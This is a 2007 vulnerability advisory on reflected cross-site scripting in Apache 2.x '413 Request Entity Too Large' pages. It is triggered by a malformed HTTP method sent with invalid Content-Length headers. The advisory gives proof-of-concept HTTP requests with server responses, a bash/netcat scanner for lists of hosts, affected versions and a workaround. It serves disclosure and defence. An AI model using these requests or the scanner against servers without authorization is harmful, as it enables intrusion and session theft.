SecurityReason - XSS on Apache HTTP Server 413 error pages via malformed HTTP method

Advisory Text :

PR07-37: XSS on Apache HTTP Server 413 error pages via malformed
HTTP method

Vulnerability found: 7 November 2007

Vendor contacted: 14 November 2007

Risk factor: N/A

The reason why we didn't consider this vulnerability a security
risk is because the attacker needs to force the victim's browser
to submit a malformed HTTP method.

Header injection has been demonstrated to be possible using Flash
[1] [2], but might be dependent on vulnerable Flash plugins.

A relevant example published in the past is exploiting the Apache
'Expect' XSS [3] (CVE-2006-3918) using flash [4].

However, in this case we need to spoof the HTTP METHOD to a
specially-crafted value.

Description:

It is possible to cause Apache HTTP server to return
client-supplied scripting code by submitting a malformed HTTP
method which would actually carry the payload (i.e.: malicious
JavaScript) and invalid length data in the form of either of the
following:

Two 'Content-length:' headers equals to zero. i.e.:
"Content-Length: 0[LF]Content-Length: 0"

One 'Content-length:' header equals to two values. i.e.:
"Content-length: 0, 0"

One 'Content-length:' header equals to a negative value. i.e.:
"Content-length: -1"

One 'Content-length:' header equals to a large value. i.e.:
"Content-length:
9999999999999999999999999999999999999999999999"

Apache 2.X returns a '413 Request Entity Too Large' error, when
submitting invalid length data. When probing for XSS on the error
page returned by the server we have 3 possible string vectors:

The 'Host:' header

The URL

The HTTP method

If we probe for XSS using the 'Host:' header, Apache correctly
filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET / HTTP/1.1

Host: <BADCHARS>

Connection: close

Content-length: -1

[LF]

[LF]

SERVER'S REPONSE:

HTTP/1.1 413 Request Entity Too Large

Date: Fri, 30 Nov 2007 12:40:19 GMT

Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML
2.0//EN">

<html><head>

<title>413 Request Entity Too Large</title>

</head><body>

<h1>Request Entity Too Large</h1>

The requested resource<br />/<br />

does not allow request data with GET requests, or the amount of
data provided in

the request exceeds the capacity limit.

<hr>

<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at
<badchars> Port 80</address>

</body></html>

Notice that '<BADCHARS>' gets replaced with
'<badchars>'

If we probe for XSS using the URL, Apache ALSO correctly filters
the angle brackets and replaces them with HTML entities:

REQUEST:

GET /<BADCHARS>/ HTTP/1.1

Host: target-domain.foo

Connection: close

Content-length: -1

[LF]

[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large

Date: Fri, 30 Nov 2007 12:41:17 GMT

Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML
2.0//EN">

<html><head>

<title>413 Request Entity Too Large</title>

</head><body>

<h1>Request Entity Too Large</h1>

The requested resource<br />/<BADCHARS>/<br />

does not allow request data with GET requests, or the amount of
data provided in

the request exceeds the capacity limit.

<hr>

<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at
target-domain.foo Port 80</address>

</body></html>

Again, '<BADCHARS>' gets replaced with '<badchars>'

However, if we probe for XSS using a malformed HTTP method, the
angle brackets are NOT replaced with HTML entities:

REQUEST:

<BADCHARS> / HTTP/1.1

Host: target-domain.foo

Connection: close

Content-length: -1

[LF]

[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large

Date: Fri, 30 Nov 2007 12:42:46 GMT

Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML
2.0//EN">

<html><head>

<title>413 Request Entity Too Large</title>

</head><body>

<h1>Request Entity Too Large</h1>

The requested resource<br />/<br />

does not allow request data with <BADCHARS> requests, or
the amount of data provided in

the request exceeds the capacity limit.

<hr>

<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at
target-domain.foo Port 80</address>

</body></html>

The following script could be used to audit your network for
vulnerable web servers:

#!/bin/bash

# PR07-37-scan

if [ $# -ne 1 ]

then

echo "$0 <hosts-file>"

exit

fi

for i in `cat $1`

do

if echo -en "<PROCHECKUP> / HTTP/1.1nHost:
$inConnection: closenContent-length: 0nContent-length: 0nn"
| nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null

then

echo "$i is VULNERABLE!"

fi

done

Vulnerability successfully tested on (banners extracted from
server headers):

Server: Apache/2.0.46 (Red Hat)

Server: Apache/2.0.51 (Fedora)

Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6

Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g

Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1
DAV/2

Server: Apache/2.2.4 (Linux/SUSE)

Note: other versions might also be vulnerable.

Consequences:

This type of attack can result in non-persistent defacement of
the target site, or the redirection of confidential information
(i.e. session IDs) to unauthorised third parties provided that a
web browser is tricked to submit a malformed HTTP method.

Workaround:

Disable Apache's default 413 error pages by adding
'ErrorDocument 413' statement to the Apache config file.

References:

http://www.procheckup.com/Vulnerability_2007.php

[1] "Forging HTTP request headers with Flash"

http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html

[2] "HTTP Header Injection Vulnerabilities in the Flash
Player Plugin"

http://download2.rapid7.com/r7-0026/

[3] "Unfiltered Header Injection in Apache
1.3.34/2.0.57/2.2.1"

http://www.securityfocus.com/archive/1/433280

[4] "More Expect Exploitation In Flash"

http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-fla
sh/

Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd
(www.procheckup.com).

Special thanks go to Amit Klein and Joe Orton for providing such
valuable feedback.